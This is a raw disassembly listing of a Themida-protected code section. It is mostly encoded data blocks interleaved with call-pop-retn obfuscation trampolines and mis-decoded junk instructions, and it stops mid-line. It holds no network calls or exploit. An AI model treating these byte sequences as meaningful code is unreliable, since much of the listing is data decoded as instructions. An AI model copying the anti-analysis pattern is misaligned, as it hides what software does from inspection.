--------------------------------------------------------------------------- db 0C8h, 8Ah, 75h dd 0B8983311h db 73h ; --------------------------------------------------------------------------- loc_58A841: ; CODE XREF: Themida_:0058A834j mov esi, edx cmp dword ptr [ebp+6100055h], 7D0h jbe loc_58A9E5 push 0 push eax call sub_58A85E and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A85E proc near ; CODE XREF: Themida_:0058A856p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_58A85E endp ; --------------------------------------------------------------------------- dw 8865h ; --------------------------------------------------------------------------- mov edi, 1B87D642h mov [ebp+610073Dh], ecx mov ebx, [ebp+6102801h] and ebx, 100h sub di, 0E236h or ebx, ebx jnz loc_58A952 push 0 push ecx call sub_58A89F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A89F proc near ; CODE XREF: Themida_:0058A897p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_58A89F endp ; --------------------------------------------------------------------------- db 89h dd 0BD832991h, 613F21Dh, 3C840F00h, 0E8000000h, 0Bh, 0F2A94955h dd 0BDC11374h, 660932C2h, 0E95FF28Bh, 0AAh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 89C35141h, 828D5252h dd 0C7BF5DFBh, 13F21D85h, 106h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 3F2308FCh dd 59E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 66D87CFEh, 188ECF81h, 0FCF3D781h ; --------------------------------------------------------------------------- clts loc_58A952: ; CODE XREF: Themida_:0058A88Ej mov dword ptr [ebp+613F21Dh], 0 push 0 push ebp call sub_58A967 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A967 proc near ; CODE XREF: Themida_:0058A95Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_58A967 endp ; --------------------------------------------------------------------------- mul dword ptr [ecx-64h] fnstcw word ptr [edx] sub esp, [esi-72927841h] popf add [eax], ebp adc [esi], al push 0 push esi call sub_58A993 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A993 proc near ; CODE XREF: Themida_:0058A98Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_58A993 endp ; --------------------------------------------------------------------------- db 4Ah dd 3FC0F946h, 0F600D1Ah, 687h, 840F00h, 80000000h, 0F61B4CFh dd 2381F7BFh, 0FFFFFEFFh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0A4C35646h, 402D8795h ; --------------------------------------------------------------------------- cmc loc_58A9E5: ; CODE XREF: Themida_:0058A84Dj mov bx, ds push 0 push ecx call sub_58A9F3 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58A9F3 proc near ; CODE XREF: Themida_:0058A9EBp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_58A9F3 endp ; --------------------------------------------------------------------------- adc dh, [eax+ebx*8] sbb ebp, [eax+7Fh] sub ebp, [ebx-4] mov di, ax cld test bl, 4 jz loc_58AA71 cmc call dword ptr [ebp+6100DC9h] add edi, [ebp+6100A19h] nop jo loc_58AA3B jmp loc_58AA3B ; --------------------------------------------------------------------------- dw 183Ah dd 7510D3E7h ; --------------------------------------------------------------------------- scasd or al, 87h loc_58AA3B: ; CODE XREF: Themida_:0058AA27j ; Themida_:0058AA2Dj push eax jns loc_58AA46 mov di, 4125h loc_58AA46: ; CODE XREF: Themida_:0058AA3Cj nop push 0 push ebx call sub_58AA52 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58AA52 proc near ; CODE XREF: Themida_:0058AA4Ap arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_58AA52 endp ; --------------------------------------------------------------------------- dw 0ECC1h ; --------------------------------------------------------------------------- jle short loc_58AA84 aad 22h fcom dword ptr [eax-75h] mov ebp, 61008C1h pop edi loc_58AA71: ; CODE XREF: Themida_:0058AA13j jmp loc_58AF31 ; --------------------------------------------------------------------------- dw 6Ah dd 3E855h, 5D200000h, 6C895DC3h ; --------------------------------------------------------------------------- loc_58AA84: ; CODE XREF: Themida_:0058AA64j and al, 4 add dword ptr [esp+4], 1Ch inc ebp push ebp retn ; --------------------------------------------------------------------------- db 55h, 9, 30h dd 0A6F66527h, 0CF818CB0h, 66B4D971h, 70E600B0h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 6CC35141h, 5E51AE29h dd 16A1BD8Bh, 71E40610h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 2DC35545h, 0B60F520Dh, 55006AD8h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0BD8BF97Bh, 6101B61h, 6BAh, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 4BBE4AA8h dd 0E0B88F35h, 0F3B70F51h, 6AC38B5Fh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0C00AC350h dd 0F5BFC366h, 5B58B05h, 0C106101Dh, 858904E8h, 610191Dh dd 1915BD89h, 0F7660610h, 26BE66E2h, 6AD82BB7h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 40AC352h, 93CEB407h, 5E9h, 0FDFBE200h, 50500D7Dh, 5E852h dd 0C79F0000h, 0FB922FCh, 80h, 310F5E00h, 6A93585Ah, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0F6EC353h, 0B5FFF7B7h, 6100055h, 10B18501h, 8B660610h dd 0C995FFFAh, 6A061031h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0C7A5C355h, 1D758589h dd 81660610h, 0B0AF69F6h, 54BE6600h, 6A70E68Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 77A0C357h, 0E4FBB70Fh, 0FE871h, 143E0000h, 355C0E91h dd 1A6F3BEAh, 0A3E4AF1Dh, 58C0FE9h, 0BE000000h, 5EB2CB40h dd 0C681665Fh, 613C9705h, 2BB830Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 8B0FE2C3h dd 0 ; --------------------------------------------------------------------------- movzx ebx, al push 0 push ebp call sub_58ACA6 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58ACA6 proc near ; CODE XREF: Themida_:0058AC9Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_58ACA6 endp ; --------------------------------------------------------------------------- or al, 11h test [esi], dh sub [eax], eax mov edi, [ebp+61032C5h] mov edx, 6 push 0 push ecx call sub_58ACD2 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58ACD2 proc near ; CODE XREF: Themida_:0058ACCAp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_58ACD2 endp ; --------------------------------------------------------------------------- dw 0E809h dd 14h, 69FEB321h, 0C25789B0h, 0A439FC54h, 0A352A0A2h dd 0DD6E473Fh, 585BD89h, 8B5F0610h, 0E9C38BF8h, 0Eh, 0AA36972Eh dd 58235347h, 0BDF567F1h, 0E8C1C9EEh, 55006A04h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0CF310AC5h, 0F78A321Dh, 81B5894Fh, 6606101Ch, 6AE2F7h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0D82BE0C3h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 0A7C35141h, 210CF12Fh, 0F8B6042h, 58F08B81h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 57C35646h, 71BE663Ah dd 28C0F9Eh, 8B000000h, 0FD82BF2h, 17088h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0CF9A58A6h, 94F54CECh, 0CF816630h, 7B9FEFDh, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 2800C350h, 0BA99B7B3h, 5015F8D9h, 31B59D01h dd 835E0610h, 0F08B00C1h, 860FD93Bh, 109h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 81C35646h, 3A239568h dd 0D3BF547Dh, 6666BC61h, 0BD8BD98Ch, 61000F5h, 0F04C1F6h dd 0AF84h, 0C995FF00h, 0E806100Dh, 14h, 0FE5BFF01h, 0A8743141h dd 9E427F89h, 0FFAF3E07h, 0F4D25539h, 27D9B523h, 0BE5F0610h dd 53A8153Ah, 0D9BD8B5Bh, 2B06101Fh, 56006AC3h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 343DF944h dd 0F000008h, 5386h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 0CEA6C57h, 6BD1DF0h, 89561FC3h dd 101A859Dh, 0B70F5E06h, 6E8F1h, 98C80000h, 0E8199737h dd 0DE89BE66h, 2FE95Fh, 0F530000h, 681h, 0EBDE8100h, 5F11109Fh dd 14E9C08Bh, 90000000h, 0B04BFB90h, 0F67F5D3Bh, 8A7B7F38h dd 24F49CA6h, 29E2348Ch, 101B2DBDh ; --------------------------------------------------------------------------- push es loc_58AF31: ; CODE XREF: Themida_:loc_58AA71j mov eax, ebx mov ebx, eax mov esi, ebx mov dword ptr [ebp+6100529h], 130CF171h push 0 push ebp call sub_58AF4C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58AF4C proc near ; CODE XREF: Themida_:0058AF44p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_58AF4C endp ; --------------------------------------------------------------------------- dd 0DC37D7B6h, 8166C08Bh, 8132BEEFh, 100055BDh, 7D006h dd 12850F00h, 0B000000h, 10051DBDh, 5585FF06h, 8B061000h dd 100FC9BDh, 55B5FF06h, 0E9061000h, 0Dh, 16EEE0D6h, 0CB0F7570h dd 8CB28925h, 0D78166EAh, 95FFFCADh, 61031C9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 76C35040h, 0E17062ACh dd 8BF57C71h, 100C7DBDh, 0BFF89006h, 64A1F1F3h, 0C8D0Fh dd 9D890000h, 6101C25h, 9659D31h, 6A0610h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 8D29CCC3h dd 6101345h, 14E8h, 82F6B900h, 25280296h, 69E46D48h, 8893F72Eh dd 666597B3h, 7E99Eh, 2FE80000h, 0C8A27C08h, 0BE9C3h, 1FB0000h dd 0BB82CDE3h, 0B5F692B4h, 0EFBF5F9Eh, 66091F6Fh, 0E8539CBEh dd 11h, 65BDE20Ah, 1DFD5BD4h, 0F5C62168h, 8C937BD6h, 6860F75h dd 29000000h, 1006AD95h, 6A5F06h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 8D8906C3h, 6100E49h dd 436DC781h, 6A6A26h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0A26631C3h, 0E846C19Ah, 13h, 0F141BEA0h dd 0C89D328Eh, 33E4FF84h, 161465FDh, 894CDB0Eh, 10052D85h dd 49E95F06h, 0BFFFFFF7h, 27541856h, 8B66C18Bh, 4EBF2h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 2716C351h, 35668A3Bh, 162FF63Ch dd 2BFFB70Fh, 10286DB5h, 0F08B6606h, 13B9858Dh, 6A0610h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0F3AC5C3h, 6084DBC6h, 0BD8B6BBDh, 61009DDh, 0DCEE8166h dd 32BF903Fh, 5068CF28h, 6A90F78Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0F0E6C356h dd 6AF357h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 2FC35141h, 3764654Dh, 13836943h, 6A006AA6h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 1E13C353h, 603D7150h, 0CAC985FCh, 0AE8h, 26501D00h dd 0ED392774h, 897180FCh, 10231D95h, 9D895E06h, 6100835h dd 0FEA3858Dh, 0B5890613h, 610048Dh, 735BD8Bh, 0C0830610h dd 0BB666005h, 89535678h, 1022658Dh, 89615806h, 10209D95h dd 8B665006h, 240489F2h, 2AF1BD8Bh, 6A0610h, 7DBD8BF9h dd 6A061005h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 0B8A8BDB7h, 243FAE3h, 310D9D89h dd 95FF0610h, 6101D19h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0C3C35545h, 0B5897AEBh, 61016F5h, 10F9BD8Bh dd 9D8D0610h, 613AFD8h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 13C35141h, 19830F94h, 0E8000000h, 0Dh dd 7AD3F14Ch, 421FCCE4h, 0A4676AFEh, 61BD8B80h, 5E061021h dd 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 846DE8C3h, 735A8C82h, 12830Fh, 0DE90000h dd 0EF000000h, 4AB4735Eh, 0E79EA282h, 0E2399209h, 141985FFh dd 89510610h, 100D359Dh, 62E95E06h, 0E8000009h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 613FEADh push 0 push edi call sub_58B32A and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58B32A proc near ; CODE XREF: Themida_:0058B322p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_58B32A endp ; --------------------------------------------------------------------------- dw 3D49h dd 0C68124C8h, 982F81Fh, 55BD81h, 7D00610h, 860F0000h dd 18Eh, 0B19D8BF5h, 6A06102Ah, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 52DEC351h, 0F605381h dd 88h, 0A1858900h, 61061021h, 0A4C7815Fh, 8175A406h, 100E3h dd 68D0F00h, 89000000h, 1013F995h, 0FDB0B06h, 0C585h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0D1DDE2EAh, 65A380BEh, 0F08B667Ah, 0FC80BD83h, 0F000613h dd 4C84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 0D96CBC6Ah, 0D75CD0AAh, 12E8h, 0F4E83100h dd 3B2CDE40h, 31958699h, 3960A060h, 8B9D9480h, 101FB9BDh dd 7FE95E06h, 33000000h, 100C99BDh, 8085C706h, 10613FCh dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0FDAC351h, 282h, 0FFA8B00h, 688h dd 0D5B58900h, 0E9061018h, 3Ah, 311D9D89h, 85C70610h, 613FC80h dd 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_58B483 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58B483 proc near ; CODE XREF: Themida_:0058B47Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_58B483 endp ; --------------------------------------------------------------------------- sbb eax, 0B58BB9A7h cmc sub eax, 0BD8B0610h pop ebp or [eax], edx push es lea ebx, [ebp+6102AB1h] call near ptr loc_58B4B2+1 mov ah, 50h aaa fxch7 st(5) loc_58B4B2: ; CODE XREF: Themida_:0058B4A8p mov byte ptr [ebx+1027C9BDh], 6 pop edi and dword ptr [ebx], 0FFFFFEFFh push 0 push ebp call sub_58B4CB and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58B4CB proc near ; CODE XREF: Themida_:0058B4C3p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp locret_58B4DA: ; CODE XREF: Themida_:0058B511j retn sub_58B4CB endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- xlat sbb dh, ds:662E3438h mov ebx, ds mov di, 283Eh test bl, 4 jz loc_58B55F push 0 push ecx call sub_58B4FD and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58B4FD proc near ; CODE XREF: Themida_:0058B4F5p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_58B4FD endp ; --------------------------------------------------------------------------- db 6Eh, 81h, 2Ah ; --------------------------------------------------------------------------- cdq ja short locret_58B4DA inc esp test [ecx+6Eh], eax call dword ptr [ebp+6100DC9h] push 0 push edx call sub_58B528 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58B528 proc near ; CODE XREF: Themida_:0058B520p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_58B528 endp ; --------------------------------------------------------------------------- dd 506EEA86h, 168D0Fh, 0E8560000h, 0Eh, 8C9AAFF3h, 33A7F752h dd 0CB338A56h, 5E5FCFD9h, 66240489h db 0BFh, 44h, 0B6h ; --------------------------------------------------------------------------- loc_58B55F: ; CODE XREF: Themida_:0058B4ECj jmp loc_58BA75 ; --------------------------------------------------------------------------- push 0 push esi call sub_58B56F and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58B56F proc near ; CODE XREF: Themida_:0058B567p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_58B56F endp ; --------------------------------------------------------------------------- db 7Bh dd 0EFBFB3E5h, 0B0193D43h, 6A70E600h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0CBC3C350h dd 5E949h, 0F2FA0000h, 0E4E544A7h, 57006A71h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 3847B9EEh dd 7E6914B6h, 0FF18B66h, 6AD8B6h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 469CB8C3h, 6620C96Bh dd 2C94D681h, 6BAh, 0B98D2900h, 8B061009h, 51006AC3h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h dd 4A488C18h, 7B22B6DEh, 613CBE66h, 6A04E8C1h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0DFECC357h, 8EA3D368h, 0FAB9AACh, 0BD8BF3BFh, 6102095h dd 8BE2F766h, 102D85BDh, 6AD82B06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0AF37C357h dd 93617F7Eh, 0F50F98Bh, 28Eh, 93F18B00h, 0E97DABEh, 55B5FF0Dh dd 6A061000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0B5BEC350h, 298B3BD6h, 102F399Dh dd 0C995FF06h, 6A061031h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 89EBC351h, 49BD29C8h dd 0B006101Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 308B73C3h, 8D9D09C9h dd 0E606100Fh, 57006A70h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 8D09FF01h, 610157Dh, 6A71E4h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 2FB436C3h, 9DD99924h, 8947F43Dh, 102161B5h, 61B58B06h dd 3C06100Dh, 0F2830F61h, 89000002h, 100CA98Dh, 0D8B60F06h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A2C35343h dd 3EFBB595h, 8B57533Bh, 100B09BDh, 6BA06h, 0BD890000h dd 6101189h, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 5C6220C3h, 1C905B89h, 0C1F78B66h dd 6A04E8h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h dd 50400000h, 596949C3h, 37C14D53h, 0A1FFBF96h, 0F7665EBAh dd 57006AE2h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0C9D8A2ECh, 4F41F427h, 0FE9C87Fh, 0C3000000h dd 0EE29ACD3h, 0AC2A32FDh, 9CAD6136h, 0D82BF425h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 49C35747h, 0BC435CFCh dd 6810Fh, 0B58B0000h, 61004DDh, 56006A58h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 62C5CC8Ah dd 23ADFE0Fh, 201DB58Bh, 0D82B0610h, 1C7880Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 49EE3DC3h, 88CFF61Ch, 0EFBE66AFh, 1D8589EEh, 0B906100Bh dd 7, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h dd 3FC35343h, 0B6A91539h, 91B5238Bh, 83061015h, 6A00C1h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 181885C3h, 8B1CBE35h, 101391B5h, 0FD93B06h, 13C86h dd 0B8BF6600h, 0D98C6628h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 0D7C35141h, 20A487A6h, 0F69365F2h, 0E840FF4h dd 0E9000000h, 9, 5ABC386Dh, 0E80BBA83h, 4C1F65Eh, 0D2840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 0BED4F2C3h, 0E819E3ADh, 5, 37CD36B0h, 0F0B70FB2h dd 0C995FF5Fh, 8906100Dh, 100551B5h, 0DE906h, 90060000h dd 0C0AAA951h, 2052B746h, 5BBA2B90h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 35C35141h, 2E3A5ADDh, 0AEE13742h dd 2BFA8B6Eh, 0D1BD8BC3h, 3D061022h, 834h, 4A860Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0FE7DB4C3h, 0A1232AF3h, 42E9C0B9h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 4C6CC356h, 1694C375h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 3F4F01C3h ; --------------------------------------------------------------------------- push ebx loc_58BA75: ; CODE XREF: Themida_:loc_58B55Fj mov eax, ebx mov ebx, eax push 0 push eax call sub_58BA84 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58BA84 proc near ; CODE XREF: Themida_:0058BA7Cp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_58BA84 endp ; --------------------------------------------------------------------------- dd 13990E44h, 81F6A694h, 799E51F6h, 502FBE19h, 85C77FD6h dd 6102801h, 5FCCC991h, 0BD8BC08Bh, 6101301h, 55BD81h dd 7D00610h, 850F0000h, 31h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 31C35141h, 3B613C0Eh, 6F87E77Ch dd 5585FFB6h, 29061000h, 10084DB5h, 55B5FF06h, 6A061000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h dd 43000000h, 8B90C353h, 4CD3E35Fh, 1F22F12h, 10007995h dd 0C995FF06h, 0F061031h, 8Ah, 6A9000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 72AB62C3h dd 0E35EDFh, 0DE9CFh, 0AA160000h, 79FDDF27h, 6A0058DCh dd 8132A989h, 7FB713F7h, 55006A53h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 6A341821h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 53B5C351h dd 5CF494A9h, 0AF3B2ADBh, 0DCDE8166h, 0CE8166FBh, 56BFEF93h dd 66195C0Ah, 81B06CBFh, 0BCA4CACFh, 57006A72h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 27687332h dd 0F98BF82Dh, 30B1BE66h, 0DA3E83BEh, 0FEB70F63h, 405BBE66h dd 0DE9h, 1A164800h, 64F9E22Eh, 0BB48B38Bh, 858993BAh dd 61027ADh, 1C2719BFh, 81666070h, 0F2408C3h, 987h, 0C18D8900h dd 6606100Bh, 6061D08Bh, 2785858Bh, 0BD890610h, 61000C5h dd 0F6CDE961h, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 4050C7C3h, 7A94679Ah, 0ED95893Fh dd 8906100Bh, 102779B5h, 6AC18B06h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 1E6BC350h dd 4EBh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 3552EAC3h, 0F606100h, 158Bh, 10E900h dd 35AB0000h, 1CD7A5EFh, 0FB7FB844h, 9A727CB8h, 8D8BC771h dd 6100E81h, 56006A61h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 339F5CBh, 0C1F36F2h, 8DF1B70Fh, 1013B985h dd 56B86006h, 0E83B55B7h, 7, 569035E2h, 66235919h, 59D193BFh dd 0DBBF5061h, 896A5BF3h, 6A2404h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 32C35747h, 0AFF27224h, 6880F03h dd 1000000h, 101D31BDh, 6A006A06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0C724C357h dd 0EEF1A1ABh, 858DB815h, 6140A35h, 8E8h, 7E8C6600h, 13C697BEh dd 5E50601Bh, 0AE9h, 0C2F39600h, 46F4B658h, 61C7BC73h dd 5C0835Fh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 94C35141h, 58D89h, 95890610h, 6100A49h, 7E890h dd 28490000h, 0AB2ED5B2h, 13E8DEh, 9C5F0000h, 7349FF7Fh dd 9793F4A9h, 9BBFE945h, 36905507h, 505E5EEDh, 275017BEh dd 6A902Eh, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0E5EC96C3h, 8926BFDEh, 830F883Dh, 0 ; --------------------------------------------------------------------------- push 0 mov [ebp+61020B9h], esi push 0 mov esi, eax call dword ptr [ebp+6101D19h] xor edi, 214202F3h lea ebx, [ebp+613AFD8h] mov edi, [ebp+61005FDh] push eax pop esi call ebx push 0 push eax call sub_58BE5B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58BE5B proc near ; CODE XREF: Themida_:0058BE53p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_58BE5B endp ; --------------------------------------------------------------------------- or al, 0CBh pusha mov edx, 7B3BE6CAh inc esi mov [edx+5Fh], dl inc dword ptr [ebp+6101419h] push 0 push eax call sub_58BE88 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58BE88 proc near ; CODE XREF: Themida_:0058BE80p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_58BE88 endp ; --------------------------------------------------------------------------- dec edx retn ; --------------------------------------------------------------------------- xor [ebp+6101425h], edx jmp loc_58C689 ; --------------------------------------------------------------------------- loc_58BEA5: ; DATA XREF: Themida_:0054E4E8o call $+5 pop ebp sub ebp, 6140A3Fh jmp loc_58BEC0 ; --------------------------------------------------------------------------- dw 0CF24h dd 7EA1CE56h, 70669F79h ; --------------------------------------------------------------------------- loc_58BEC0: ; CODE XREF: Themida_:0058BEB1j cmp dword ptr [ebp+6100055h], 7D0h jbe loc_58C01F push 0 push ebx call sub_58BEDB and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58BEDB proc near ; CODE XREF: Themida_:0058BED3p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_58BEDB endp ; --------------------------------------------------------------------------- db 7Ah ; --------------------------------------------------------------------------- cld mov ebx, [ebp+6102875h] mov esi, [ebp+61005C5h] and ebx, 100h push edi jmp loc_58BF12 ; --------------------------------------------------------------------------- db 9Fh, 4Fh, 6Dh dd 9B9EAED1h, 6DE361D4h db 1Dh, 18h ; --------------------------------------------------------------------------- loc_58BF12: ; CODE XREF: Themida_:0058BF00j pop esi or ebx, ebx jnz loc_58BFAF call sub_58BF34 pop ebp retf ; --------------------------------------------------------------------------- dw 0B4D3h dd 